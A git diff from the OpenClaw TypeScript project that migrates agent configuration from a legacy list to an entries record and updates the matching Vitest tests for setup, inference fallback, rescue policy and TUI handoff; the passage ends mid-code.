verifySystemAgentInferenceWithFallback({ diff --git a/src/system-agent/inference-fallback.ts b/src/system-agent/inference-fallback.ts index 86028a0c3ad6..d95685e805c0 100644 --- a/src/system-agent/inference-fallback.ts +++ b/src/system-agent/inference-fallback.ts @@ -1,6 +1,10 @@ // Provider-neutral live inference ladder for delegated OpenClaw sessions. import { normalizeProviderId } from "@openclaw/model-catalog-core/provider-id"; -import { resolveDefaultAgentId } from "../agents/agent-scope.js"; +import { + listAgentIds, + resolveDefaultAgentId, + tryResolveDefaultAgentId, +} from "../agents/agent-scope.js"; import { hasAvailableAuthForProvider } from "../agents/model-auth.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { normalizeAgentId } from "../routing/session-key.js"; @@ -56,13 +60,13 @@ export async function verifySystemAgentInferenceWithFallback(params: { }): Promise { const deps = params.deps ?? {}; const config = await (deps.readConfig ?? readCurrentConfig)(); - const requestedAgentId = normalizeAgentId( - params.requestingAgentId ?? resolveDefaultAgentId(config), - ); + const defaultAgentId = params.requestingAgentId + ? tryResolveDefaultAgentId(config) + : resolveDefaultAgentId(config); + const requestedAgentId = normalizeAgentId(params.requestingAgentId ?? defaultAgentId); const candidateAgentIds = [ requestedAgentId, - ...(config.agents?.list ?? []).map((agent) => normalizeAgentId(agent.id)), - normalizeAgentId(resolveDefaultAgentId(config)), + ...listAgentIds(config).map((agentId) => normalizeAgentId(agentId)), ]; const resolveRoute = deps.resolveRoute ?? resolveSystemAgentConfiguredRouteFromConfig; const routes: Array<{ agentId: string; provider: string; route: SystemAgentConfiguredRoute }> = diff --git a/src/system-agent/inference-route.ts b/src/system-agent/inference-route.ts index 634640585cd2..1127c651f004 100644 --- a/src/system-agent/inference-route.ts +++ b/src/system-agent/inference-route.ts @@ -1,7 +1,7 @@ // Resolves the configured default agent route shared by OpenClaw inference calls. import { isDeepStrictEqual } from "node:util"; import { normalizeProviderId } from "@openclaw/model-catalog-core/provider-id"; -import { listAgentEntries } from "../agents/agent-scope-config.js"; +import { listAgentEntries, toAgentEntriesRecord } from "../agents/agent-scope-config.js"; import { cliBackendAcceptsAuthProfileForwarding, resolveCliExecutionAuthProfileId, @@ -83,16 +83,12 @@ function projectSystemAgentExecutionConfig( ] : []), ]; + const { list: _legacyList, ...agentsConfig } = config.agents ?? {}; return { ...config, agents: { - ...config.agents, - ...(config.agents?.entries - ? { - entries: Object.fromEntries(projectedAgents.map(({ id, ...entry }) => [id, entry])), - } - : {}), - ...(config.agents?.list ? { list: projectedAgents } : {}), + ...agentsConfig, + entries: toAgentEntriesRecord(projectedAgents), }, }; } diff --git a/src/system-agent/operations-execution-helpers.ts b/src/system-agent/operations-execution-helpers.ts index 4043ad5bbeef..d1e783eeb63e 100644 --- a/src/system-agent/operations-execution-helpers.ts +++ b/src/system-agent/operations-execution-helpers.ts @@ -348,7 +348,8 @@ async function isDefaultAgentListPath(segments: readonly string[]): Promise ({ + ensureOnboardingAgent: vi.fn(), + readConfigFileSnapshot: vi.fn(), +})); + +vi.mock("../commands/onboard-agent.js", () => ({ + ensureOnboardingAgent: mocks.ensureOnboardingAgent, +})); + +vi.mock("../config/config.js", () => ({ + readConfigFileSnapshot: mocks.readConfigFileSnapshot, +})); + +describe("system-agent setup transaction", () => { + afterEach(() => { + vi.clearAllMocks(); + }); + + it("does not provision an agent before a conflicting setup transaction", async () => { + const config = { + agents: { + defaults: { model: { primary: "openai/gpt-5.5" } }, + list: [{ id: "main", default: true }], + }, + } satisfies OpenClawConfig; + mocks.readConfigFileSnapshot.mockResolvedValue({ + exists: true, + valid: true, + path: "/tmp/openclaw.json", + hash: "before", + config, + sourceConfig: config, + runtimeConfig: config, + issues: [], + }); + const applySetup = vi.fn(async () => { + throw new Error("OpenClaw config changed while AI access was being tested. Try setup again."); + }); + const { runtime } = createSystemAgentTestRuntime(); + + await expect( + executeSystemAgentOperation({ kind: "setup", workspace: "/tmp/workspace" }, runtime, { + approved: true, + deps: { + applySetup, + loadOverview: async () => ({ defaultModel: "openai/gpt-5.5" }) as never, + verifyInferenceConfig: async () => ({ + ok: true as const, + modelRef: "openai/gpt-5.5", + latencyMs: 5, + }), + }, + }), + ).rejects.toThrow("config changed while AI access was being tested"); + + expect(applySetup).toHaveBeenCalledOnce(); + expect(mocks.ensureOnboardingAgent).not.toHaveBeenCalled(); + }); +}); diff --git a/src/system-agent/operations.setup.test.ts b/src/system-agent/operations.setup.test.ts index 4ef5267aeab6..42123d77f6c3 100644 --- a/src/system-agent/operations.setup.test.ts +++ b/src/system-agent/operations.setup.test.ts @@ -3,48 +3,24 @@ import fs from "node:fs/promises"; import path from "node:path"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { useAutoCleanupTempDirTracker } from "../../test/helpers/temp-dir.js"; +import { listAgentEntries } from "../agents/agent-scope-config.js"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; import { resetPluginStateStoreForTests } from "../plugin-state/plugin-state-store.js"; import { captureEnv, setTestEnvValue } from "../test-utils/env.js"; -import { listSystemAgentAuditEntriesForTests } from "./audit.test-support.js"; import { SystemAgentInferenceUnavailableError } from "./inference-error.js"; +import { executeSystemAgentOperation, type SystemAgentCommandDeps } from "./operations.js"; import { - executeSystemAgentOperation, - isPersistentSystemAgentOperation, - type SystemAgentCommandDeps, -} from "./operations.js"; -import { createSystemAgentTestRuntime } from "./system-agent.test-helpers.js"; + createSystemAgentTestRuntime, + expectSystemAgentAuditRecord as expectAuditRecord, + expectTestRecordFields as expectRecordFields, + readLastSystemAgentAuditEntry as readLastAuditEntry, + requireTestRecord as requireRecord, +} from "./system-agent.test-helpers.js"; type TestConfig = Record; -function readLastAuditEntry(): unknown { - return listSystemAgentAuditEntriesForTests().at(-1)?.value; -} - -function requireRecord(value: unknown, label: string): Record { - if (typeof value !== "object" || value === null) { - throw new Error(`${label} was not an object`); - } - return value as Record; -} - -function expectRecordFields(record: Record, fields: Record) { - for (const [key, value] of Object.entries(fields)) { - expect(record[key]).toEqual(value); - } -} - -function expectAuditRecord( - audit: unknown, - fields: Record, - detailFields: Record, -) { - const auditRecord = requireRecord(audit, "audit record"); - expectRecordFields(auditRecord, fields); - expectRecordFields(requireRecord(auditRecord.details, "audit details"), detailFields); -} - const mockConfig = vi.hoisted(() => { - const initial = {}; + const initial = { agents: { entries: { main: { default: true } } } }; const state = { path: "/tmp/openclaw.json", exists: true, @@ -74,13 +50,13 @@ const mockConfig = vi.hoisted(() => { reset() { state.path = "/tmp/openclaw.json"; state.exists = true; - state.config = {}; + state.config = { agents: { entries: { main: { default: true } } } }; state.hash = "mock-hash-0"; }, missing(pathLocal: string) { state.path = pathLocal; state.exists = false; - state.config = {}; + state.config = { agents: { entries: { main: { default: true } } } }; state.hash = undefined; }, currentConfig() { @@ -183,7 +159,12 @@ describe("parseSystemAgentOperation", () => { const tempDir = opTempDirs.make("openclaw-setup-"); setTestEnvValue("OPENCLAW_STATE_DIR", tempDir); const { runtime, lines } = createSystemAgentTestRuntime(); - mockConfig.setConfig({ agents: { defaults: { model: { primary: "openai/gpt-5.5" } } } }); + mockConfig.setConfig({ + agents: { + defaults: { model: { primary: "openai/gpt-5.5" } }, + entries: { main: { default: true } }, + }, + }); const applySetup = vi.fn(async () => ({ configPath: path.join(tempDir, "openclaw.json"), configHashBefore: "mock-hash-0", @@ -278,7 +259,12 @@ describe("parseSystemAgentOperation", () => { it("rejects setup when the current route fails its live inference check", async () => { const tempDir = opTempDirs.make("openclaw-failed-inference-setup-"); setTestEnvValue("OPENCLAW_STATE_DIR", tempDir); - mockConfig.setConfig({ agents: { defaults: { model: { primary: "openai/gpt-5.5" } } } }); + mockConfig.setConfig({ + agents: { + defaults: { model: { primary: "openai/gpt-5.5" } }, + entries: { main: { default: true } }, + }, + }); const { runtime, lines } = createSystemAgentTestRuntime(); const applySetup = vi.fn(); @@ -304,7 +290,10 @@ describe("parseSystemAgentOperation", () => { it("rejects route drift during setup verification but preserves the concurrent edit", async () => { mockConfig.setConfig({ - agents: { defaults: { model: { primary: "openai/gpt-5.5" } } }, + agents: { + defaults: { model: { primary: "openai/gpt-5.5" } }, + entries: { main: { default: true } }, + }, auth: { order: { openai: ["openai:old"] } }, }); const { runtime } = createSystemAgentTestRuntime(); @@ -318,7 +307,10 @@ describe("parseSystemAgentOperation", () => { loadOverview: async () => ({ defaultModel: "openai/gpt-5.5" }) as never, verifyInferenceConfig: async () => { mockConfig.setConfig({ - agents: { defaults: { model: { primary: "openai/gpt-5.5" } } }, + agents: { + defaults: { model: { primary: "openai/gpt-5.5" } }, + entries: { main: { default: true } }, + }, auth: { order: { openai: ["openai:new"] } }, }); return { ok: true as const, modelRef: "openai/gpt-5.5", latencyMs: 8 }; @@ -335,7 +327,10 @@ describe("parseSystemAgentOperation", () => { it("preserves unrelated concurrent edits after re-verifying the same setup route", async () => { mockConfig.setConfig({ - agents: { defaults: { model: { primary: "openai/gpt-5.5" } } }, + agents: { + defaults: { model: { primary: "openai/gpt-5.5" } }, + entries: { main: { default: true } }, + }, gateway: { port: 18789 }, }); const { runtime } = createSystemAgentTestRuntime(); @@ -357,7 +352,10 @@ describe("parseSystemAgentOperation", () => { loadOverview: async () => ({ defaultModel: "openai/gpt-5.5" }) as never, verifyInferenceConfig: async () => { mockConfig.setConfig({ - agents: { defaults: { model: { primary: "openai/gpt-5.5" } } }, + agents: { + defaults: { model: { primary: "openai/gpt-5.5" } }, + entries: { main: { default: true } }, + }, gateway: { port: 19000 }, }); return { ok: true as const, modelRef: "openai/gpt-5.5", latencyMs: 7 }; @@ -401,7 +399,12 @@ describe("parseSystemAgentOperation", () => { const tempDir = opTempDirs.make("openclaw-same-model-setup-"); setTestEnvValue("OPENCLAW_STATE_DIR", tempDir); const { runtime } = createSystemAgentTestRuntime(); - mockConfig.setConfig({ agents: { defaults: { model: { primary: "openai/gpt-5.5" } } } }); + mockConfig.setConfig({ + agents: { + defaults: { model: { primary: "openai/gpt-5.5" } }, + entries: { main: { default: true } }, + }, + }); const applySetup = vi.fn(async () => ({ configPath: path.join(tempDir, "openclaw.json"), configHashBefore: "mock-hash-0", @@ -447,7 +450,7 @@ describe("parseSystemAgentOperation", () => { defaults: { model: { primary: "anthropic/claude-sonnet-4-6", fallbacks: ["openai/gpt-5.2"] }, }, - list: [{ id: "main", default: true, workspace: "/tmp/main" }], + entries: { main: { default: true, workspace: "/tmp/main" } }, }, gateway: { port: 18789 }, models: { providers: { openai: { baseUrl: "https://api.openai.com/v1" } } }, @@ -505,10 +508,10 @@ describe("parseSystemAgentOperation", () => { ...requireRecord(requireRecord(current.agents, "agents").defaults, "defaults"), models: { "google/unrelated": { agentRuntime: { id: "openclaw" } } }, }, - list: [ - { id: "main", default: true, workspace: "/tmp/main" }, - { id: "work", workspace: "/tmp/work" }, - ], + entries: { + main: { default: true, workspace: "/tmp/main" }, + work: { workspace: "/tmp/work" }, + }, }, channels: { telegram: { enabled: true } }, }); @@ -552,10 +555,10 @@ describe("parseSystemAgentOperation", () => { expect( requireRecord(requireRecord(persisted.agents, "agents").defaults, "defaults").model, ).toEqual({ primary: "openai/gpt-5.5", fallbacks: ["openai/gpt-5.2"] }); - expect(requireRecord(persisted.agents, "agents").list).toEqual([ - { id: "main", default: true, workspace: "/tmp/main" }, - { id: "work", workspace: "/tmp/work" }, - ]); + expect(requireRecord(persisted.agents, "agents").entries).toEqual({ + main: { default: true, workspace: "/tmp/main" }, + work: { workspace: "/tmp/work" }, + }); expect(requireRecord(persisted.auth, "auth").profiles).toEqual({ "google:other": { provider: "google", mode: "api_key" }, }); @@ -596,42 +599,24 @@ describe("parseSystemAgentOperation", () => { initial: { agents: { defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } }, - list: [{ id: "main", default: true }, { id: "work" }], + entries: { main: { default: true }, work: {} }, }, }, change: (config: TestConfig) => { const next = structuredClone(config); - const list = requireRecord(next.agents, "agents").list as Array<{ - id: string; - default?: boolean; - }>; - delete list[0]?.default; - list[1]!.default = true; - return next; - }, - }, - { - field: "default marker", - initial: { - agents: { - defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } }, - list: [{ id: "main", default: true }, { id: "work" }], - }, - }, - change: (config: TestConfig) => { - const next = structuredClone(config); - const list = requireRecord(next.agents, "agents").list as Array<{ - id: string; - default?: boolean; - }>; - delete list[0]?.default; + const entries = requireRecord(requireRecord(next.agents, "agents").entries, "entries"); + delete requireRecord(entries.main, "main").default; + requireRecord(entries.work, "work").default = true; return next; }, }, { field: "auth profile order", initial: { - agents: { defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } } }, + agents: { + defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } }, + entries: { main: { default: true } }, + }, auth: { order: { anthropic: ["anthropic:one"] } }, }, change: (config: TestConfig) => ({ @@ -649,6 +634,7 @@ describe("parseSystemAgentOperation", () => { "anthropic/claude-sonnet-4-6": { agentRuntime: { id: "claude-cli" } }, }, }, + entries: { main: { default: true } }, }, }, change: (config: TestConfig) => { @@ -663,7 +649,10 @@ describe("parseSystemAgentOperation", () => { { field: "model", initial: { - agents: { defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } } }, + agents: { + defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } }, + entries: { main: { default: true } }, + }, }, change: (config: TestConfig) => { const next = structuredClone(config); @@ -675,7 +664,10 @@ describe("parseSystemAgentOperation", () => { { field: "config-backed environment", initial: { - agents: { defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } } }, + agents: { + defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } }, + entries: { main: { default: true } }, + }, env: { vars: { ANTHROPIC_API_KEY: "first" } }, }, change: (config: TestConfig) => ({ @@ -686,7 +678,10 @@ describe("parseSystemAgentOperation", () => { { field: "secret provider policy", initial: { - agents: { defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } } }, + agents: { + defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } }, + entries: { main: { default: true } }, + }, secrets: { defaults: { env: "first" } }, }, change: (config: TestConfig) => ({ @@ -697,7 +692,10 @@ describe("parseSystemAgentOperation", () => { { field: "plugin load policy", initial: { - agents: { defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } } }, + agents: { + defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } }, + entries: { main: { default: true } }, + }, plugins: { enabled: true }, }, change: (config: TestConfig) => ({ @@ -739,7 +737,10 @@ describe("parseSystemAgentOperation", () => { const tempDir = opTempDirs.make("openclaw-rejected-model-"); setTestEnvValue("OPENCLAW_STATE_DIR", tempDir); const originalConfig = { - agents: { defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } } }, + agents: { + defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } }, + entries: { main: { default: true } }, + }, gateway: { port: 18789 }, }; mockConfig.setConfig(originalConfig); @@ -770,7 +771,10 @@ describe("parseSystemAgentOperation", () => { const tempDir = opTempDirs.make("openclaw-latest-route-rejected-"); setTestEnvValue("OPENCLAW_STATE_DIR", tempDir); const originalConfig = { - agents: { defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } } }, + agents: { + defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } }, + entries: { main: { default: true } }, + }, }; mockConfig.setConfig(originalConfig); mockConfig.mutateConfigFile.mockClear(); @@ -797,7 +801,10 @@ describe("parseSystemAgentOperation", () => { const tempDir = opTempDirs.make("openclaw-mismatched-model-result-"); setTestEnvValue("OPENCLAW_STATE_DIR", tempDir); const originalConfig = { - agents: { defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } } }, + agents: { + defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } }, + entries: { main: { default: true } }, + }, }; mockConfig.setConfig(originalConfig); mockConfig.mutateConfigFile.mockClear(); @@ -826,7 +833,10 @@ describe("parseSystemAgentOperation", () => { const tempDir = opTempDirs.make("openclaw-final-mismatched-model-result-"); setTestEnvValue("OPENCLAW_STATE_DIR", tempDir); const originalConfig = { - agents: { defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } } }, + agents: { + defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } }, + entries: { main: { default: true } }, + }, }; mockConfig.setConfig(originalConfig); mockConfig.mutateConfigFile.mockClear(); @@ -853,7 +863,10 @@ describe("parseSystemAgentOperation", () => { const tempDir = opTempDirs.make("openclaw-model-binding-rotated-"); setTestEnvValue("OPENCLAW_STATE_DIR", tempDir); const originalConfig = { - agents: { defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } } }, + agents: { + defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } }, + entries: { main: { default: true } }, + }, }; mockConfig.setConfig(originalConfig); mockConfig.mutateConfigFile.mockClear(); @@ -892,7 +905,10 @@ describe("parseSystemAgentOperation", () => { const tempDir = opTempDirs.make("openclaw-model-binding-final-probe-rotated-"); setTestEnvValue("OPENCLAW_STATE_DIR", tempDir); const originalConfig = { - agents: { defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } } }, + agents: { + defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } }, + entries: { main: { default: true } }, + }, }; mockConfig.setConfig(originalConfig); mockConfig.mutateConfigFile.mockClear(); @@ -951,8 +967,8 @@ describe("parseSystemAgentOperation", () => { expect(requireRecord(agents.defaults, "defaults").model).toEqual({ primary: "anthropic/global-default", }); - const entries = agents.entries as Record; - expect(entries.work?.model).toEqual({ + const work = listAgentEntries(config as OpenClawConfig).find((entry) => entry.id === "work"); + expect(work?.model).toEqual({ primary: "openai/gpt-5.5", }); return { ok: true as const, modelRef: "openai/gpt-5.5", latencyMs: 9 }; @@ -968,97 +984,11 @@ describe("parseSystemAgentOperation", () => { expect(requireRecord(agents.defaults, "defaults").model).toEqual({ primary: "anthropic/global-default", }); - const entries = agents.entries as Record; - expect(entries.work?.model).toEqual({ + const work = listAgentEntries(mockConfig.currentConfig() as OpenClawConfig).find( + (entry) => entry.id === "work", + ); + expect(work?.model).toEqual({ primary: "openai/gpt-5.5", }); }); - - it("refuses doctor repairs before any write or audit", async () => { - const tempDir = opTempDirs.make("openclaw-doctor-fix-refused-"); - setTestEnvValue("OPENCLAW_STATE_DIR", tempDir); - const { runtime, lines } = createSystemAgentTestRuntime(); - const runDoctor = vi.fn(async () => {}); - - const result = await executeSystemAgentOperation({ kind: "doctor-fix" }, runtime, { - approved: true, - deps: { runDoctor }, - auditDetails: { rescue: true }, - }); - expect(result).toEqual({ applied: false }); - expect(isPersistentSystemAgentOperation({ kind: "doctor-fix" })).toBe(false); - expect(runDoctor).not.toHaveBeenCalled(); - expect(lines.join("\n")).toContain("Exit OpenClaw"); - expect(lines.join("\n")).toContain("openclaw doctor --fix"); - expect(lines.join("\n")).not.toContain("[openclaw] running: doctor.fix"); - await expect(fs.access(path.join(tempDir, "audit", "system-agent.jsonl"))).rejects.toThrow(); - }); - - it("returns from the agent TUI back to OpenClaw", async () => { - const { runtime, lines } = createSystemAgentTestRuntime(); - const runTui = vi.fn(async () => ({ - exitReason: "return-to-system-agent" as const, - systemAgentMessage: "restart gateway", - })); - - const result = await executeSystemAgentOperation( - { kind: "open-tui", agentId: "work" }, - runtime, - { - deps: { runTui }, - }, - ); - - expect(runTui).toHaveBeenCalledWith({ - local: true, - session: "agent:work:main", - deliver: false, - historyLimit: 200, - }); - expectRecordFields(result as unknown as Record, { - applied: false, - returnToShell: true, - nextInput: "restart gateway", - }); - expect(lines.join("\n")).toContain( - "[openclaw] returned from agent with request: restart gateway", - ); - }); - - it("seeds a fresh hatch into the agent TUI", async () => { - const { runtime } = createSystemAgentTestRuntime(); - const runTui = vi.fn(async () => ({ exitReason: "exit" as const })); - - await executeSystemAgentOperation( - { kind: "open-tui", agentId: "work", agentDraft: "hatch" }, - runtime, - { deps: { runTui } }, - ); - - expect(runTui).toHaveBeenCalledWith({ - local: true, - session: "agent:work:main", - deliver: false, - historyLimit: 200, - message: "Wake up, my friend!", - }); - }); - - it("re-enters the OpenClaw shell when the agent TUI returns without a request", async () => { - const { runtime, lines } = createSystemAgentTestRuntime(); - const runTui = vi.fn(async () => ({ - exitReason: "return-to-system-agent" as const, - })); - - const result = await executeSystemAgentOperation({ kind: "open-tui" }, runtime, { - deps: { runTui }, - }); - - expectRecordFields(result as unknown as Record, { - applied: false, - returnToShell: true, - }); - expect((result as { nextInput?: string }).nextInput).toBeUndefined(); - expect(lines.join("\n")).toContain("[openclaw] returned from agent"); - }); }); diff --git a/src/system-agent/operations.test.ts b/src/system-agent/operations.test.ts index 4f52e00d4ee0..5e7731c097e7 100644 --- a/src/system-agent/operations.test.ts +++ b/src/system-agent/operations.test.ts @@ -63,6 +63,7 @@ const mockConfig = vi.hoisted(() => { path: "/tmp/openclaw.json", exists: true, config: initial as TestConfig, + sourceConfigBeforeMigrations: undefined as TestConfig | undefined, hash: "mock-hash-0" as string | undefined, }; const cloneConfig = () => structuredClone(state.config); @@ -73,6 +74,7 @@ const mockConfig = vi.hoisted(() => { exists: state.exists, raw: state.exists ? `${JSON.stringify(config)}\n` : null, parsed: state.exists ? config : undefined, + sourceConfigBeforeMigrations: structuredClone(state.sourceConfigBeforeMigrations ?? config), sourceConfig: config, resolved: config, valid: state.exists, @@ -89,12 +91,14 @@ const mockConfig = vi.hoisted(() => { state.path = "/tmp/openclaw.json"; state.exists = true; state.config = {}; + state.sourceConfigBeforeMigrations = undefined; state.hash = "mock-hash-0"; }, missing(pathLocal: string) { state.path = pathLocal; state.exists = false; state.config = {}; + state.sourceConfigBeforeMigrations = undefined; state.hash = undefined; }, currentConfig() { @@ -102,6 +106,11 @@ const mockConfig = vi.hoisted(() => { }, setConfig(config: TestConfig) { state.config = structuredClone(config); + state.sourceConfigBeforeMigrations = undefined; + }, + setResolvedConfig(config: TestConfig, sourceConfigBeforeMigrations: TestConfig) { + state.config = structuredClone(config); + state.sourceConfigBeforeMigrations = structuredClone(sourceConfigBeforeMigrations); }, readConfigFileSnapshot: vi.fn(async () => snapshot()), mutateConfigFile: vi.fn( @@ -879,6 +888,45 @@ describe("parseSystemAgentOperation", () => { expect(runConfigSet).toHaveBeenCalledOnce(); }); + it("resolves numeric legacy list indices from the authored array order", async () => { + const tempDir = opTempDirs.make("openclaw-numeric-agent-route-"); + setTestEnvValue("OPENCLAW_STATE_DIR", tempDir); + mockConfig.setResolvedConfig( + { + agents: { + entries: { + "2": {}, + "10": { default: true }, + }, + }, + }, + { + agents: { + list: [{ id: "10", default: true }, { id: "2" }], + }, + }, + ); + const { runtime } = createSystemAgentTestRuntime(); + const runConfigSet = vi.fn(async () => {}); + + await expect( + executeSystemAgentOperation( + { kind: "config-set", path: "agents.list[0].model", value: '"openai/gpt-5.5"' }, + runtime, + { approved: true, deps: { runConfigSet } }, + ), + ).rejects.toThrow("openclaw onboard"); + expect(runConfigSet).not.toHaveBeenCalled(); + + const result = await executeSystemAgentOperation( + { kind: "config-set", path: "agents.list[1].model", value: '"openai/gpt-5.5"' }, + runtime, + { approved: true, deps: { runConfigSet } }, + ); + expect(result.applied).toBe(true); + expect(runConfigSet).toHaveBeenCalledOnce(); + }); + it("runs plugin list and search as read-only operations", async () => { const { runtime, lines } = createSystemAgentTestRuntime(); const runPluginsList = vi.fn(async (pluginRuntime: RuntimeEnv) => { diff --git a/src/system-agent/operations.tui.test.ts b/src/system-agent/operations.tui.test.ts new file mode 100644 index 000000000000..a59d40bfefa4 --- /dev/null +++ b/src/system-agent/operations.tui.test.ts @@ -0,0 +1,97 @@ +// System-agent TUI operation tests cover handoff and return-to-shell behavior. +import fs from "node:fs/promises"; +import path from "node:path"; +import { withTempHome } from "openclaw/plugin-sdk/test-env"; +import { describe, expect, it, vi } from "vitest"; +import { executeSystemAgentOperation, isPersistentSystemAgentOperation } from "./operations.js"; +import { createSystemAgentTestRuntime } from "./system-agent.test-helpers.js"; + +describe("system-agent TUI operations", () => { + it("refuses doctor repairs before any write or audit", async () => { + await withTempHome(async (home) => { + const { runtime, lines } = createSystemAgentTestRuntime(); + const runDoctor = vi.fn(async () => {}); + + const result = await executeSystemAgentOperation({ kind: "doctor-fix" }, runtime, { + approved: true, + deps: { runDoctor }, + auditDetails: { rescue: true }, + }); + expect(result).toEqual({ applied: false }); + expect(isPersistentSystemAgentOperation({ kind: "doctor-fix" })).toBe(false); + expect(runDoctor).not.toHaveBeenCalled(); + expect(lines.join("\n")).toContain("Exit OpenClaw"); + expect(lines.join("\n")).toContain("openclaw doctor --fix"); + expect(lines.join("\n")).not.toContain("[openclaw] running: doctor.fix"); + await expect( + fs.access(path.join(home, ".openclaw", "audit", "system-agent.jsonl")), + ).rejects.toThrow(); + }); + }); + + it("returns from the agent TUI back to OpenClaw", async () => { + const { runtime, lines } = createSystemAgentTestRuntime(); + const runTui = vi.fn(async () => ({ + exitReason: "return-to-system-agent" as const, + systemAgentMessage: "restart gateway", + })); + + const result = await executeSystemAgentOperation( + { kind: "open-tui", agentId: "work" }, + runtime, + { deps: { runTui } }, + ); + + expect(runTui).toHaveBeenCalledWith({ + local: true, + session: "agent:work:main", + deliver: false, + historyLimit: 200, + }); + expect(result).toMatchObject({ + applied: false, + returnToShell: true, + nextInput: "restart gateway", + }); + expect(lines.join("\n")).toContain( + "[openclaw] returned from agent with request: restart gateway", + ); + }); + + it("seeds a fresh hatch into the agent TUI", async () => { + const { runtime } = createSystemAgentTestRuntime(); + const runTui = vi.fn(async () => ({ exitReason: "exit" as const })); + + await executeSystemAgentOperation( + { kind: "open-tui", agentId: "work", agentDraft: "hatch" }, + runtime, + { deps: { runTui } }, + ); + + expect(runTui).toHaveBeenCalledWith({ + local: true, + session: "agent:work:main", + deliver: false, + historyLimit: 200, + message: "Wake up, my friend!", + }); + }); + + it("re-enters the OpenClaw shell when the agent TUI returns without a request", async () => { + const { runtime, lines } = createSystemAgentTestRuntime(); + const runTui = vi.fn(async () => ({ + exitReason: "return-to-system-agent" as const, + })); + + const result = await executeSystemAgentOperation({ kind: "open-tui" }, runtime, { + deps: { runTui }, + }); + + expect(result).toMatchObject({ + applied: false, + returnToShell: true, + }); + expect((result as { nextInput?: string }).nextInput).toBeUndefined(); + expect(lines.join("\n")).toContain("[openclaw] returned from agent"); + }); +}); diff --git a/src/system-agent/rescue-policy.ts b/src/system-agent/rescue-policy.ts index ab04e3c727b9..c533ab59bddd 100644 --- a/src/system-agent/rescue-policy.ts +++ b/src/system-agent/rescue-policy.ts @@ -1,7 +1,7 @@ +import { resolveAgentEntry } from "../agents/agent-scope-config.js"; // OpenClaw rescue policy gates remote writes by owner, DM, sandbox, and YOLO posture. import type { OpenClawConfig } from "../config/types.openclaw.js"; import { resolveExecModePolicy } from "../infra/exec-approvals.js"; -import { normalizeAgentId } from "../routing/session-key.js"; /** * Policy checks for remote OpenClaw rescue commands. @@ -36,18 +36,8 @@ type SystemAgentRescuePolicyInput = { isDirectMessage: boolean; }; -function resolveAgentEntry(cfg: OpenClawConfig, agentId?: string) { - if (!agentId) { - return undefined; - } - const id = normalizeAgentId(agentId); - return cfg.agents?.list?.find( - (entry) => entry !== null && typeof entry === "object" && normalizeAgentId(entry.id) === id, - ); -} - function resolveScopedExecConfig(cfg: OpenClawConfig, agentId?: string) { - return resolveAgentEntry(cfg, agentId)?.tools?.exec; + return agentId ? resolveAgentEntry(cfg, agentId)?.tools?.exec : undefined; } function resolveScopedSandboxMode( @@ -55,7 +45,9 @@ function resolveScopedSandboxMode( agentId?: string, ): "off" | "non-main" | "all" { return ( - resolveAgentEntry(cfg, agentId)?.sandbox?.mode ?? cfg.agents?.defaults?.sandbox?.mode ?? "off" + (agentId ? resolveAgentEntry(cfg, agentId)?.sandbox?.mode : undefined) ?? + cfg.agents?.defaults?.sandbox?.mode ?? + "off" ); } diff --git a/src/system-agent/setup-apply.test.ts b/src/system-agent/setup-apply.test.ts index 7e8a22a11698..43080ddc68cb 100644 --- a/src/system-agent/setup-apply.test.ts +++ b/src/system-agent/setup-apply.test.ts @@ -1,4 +1,5 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; +import { resolveAgentEntry } from "../agents/agent-scope-config.js"; import * as configModule from "../config/config.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { RuntimeEnv } from "../runtime.js"; @@ -9,6 +10,8 @@ type ConfigSnapshot = { valid: boolean; path: string; hash: string | null; + parsed: unknown; + sourceConfigBeforeMigrations?: OpenClawConfig; config: OpenClawConfig; sourceConfig: OpenClawConfig; runtimeConfig?: OpenClawConfig; @@ -44,6 +47,17 @@ const mocks = vi.hoisted(() => ({ ensureGatewayService: vi.fn(), refreshPluginRegistry: vi.fn(), updateExecApprovals: vi.fn(), + ensureOnboardingAgent: vi.fn(), + verifySetupInferenceConfig: vi.fn(), +})); + +vi.mock("../commands/onboard-agent.js", async (importOriginal) => ({ + ...(await importOriginal()), + ensureOnboardingAgent: mocks.ensureOnboardingAgent, +})); + +vi.mock("./setup-inference.js", () => ({ + verifySetupInferenceConfig: mocks.verifySetupInferenceConfig, })); vi.mock("../config/config.js", async (importOriginal) => ({ @@ -99,7 +113,7 @@ vi.mock("../infra/exec-approvals.js", () => ({ vi.mock("../agents/agent-scope.js", async (importOriginal) => ({ ...(await importOriginal()), resolveAgentDir: (config: OpenClawConfig, agentId: string) => - config.agents?.entries?.[agentId]?.agentDir ?? `/agents/${agentId}`, + resolveAgentEntry(config, agentId)?.agentDir ?? `/agents/${agentId}`, })); import { applySystemAgentModelSelection, applySystemAgentSetup } from "./setup-apply.js"; @@ -110,15 +124,21 @@ const runtime: RuntimeEnv = { exit: vi.fn(), }; -function snapshot(hash: string | null, config: OpenClawConfig): ConfigSnapshot { +function snapshot( + hash: string | null, + sourceConfig: OpenClawConfig, + runtimeConfig: OpenClawConfig = 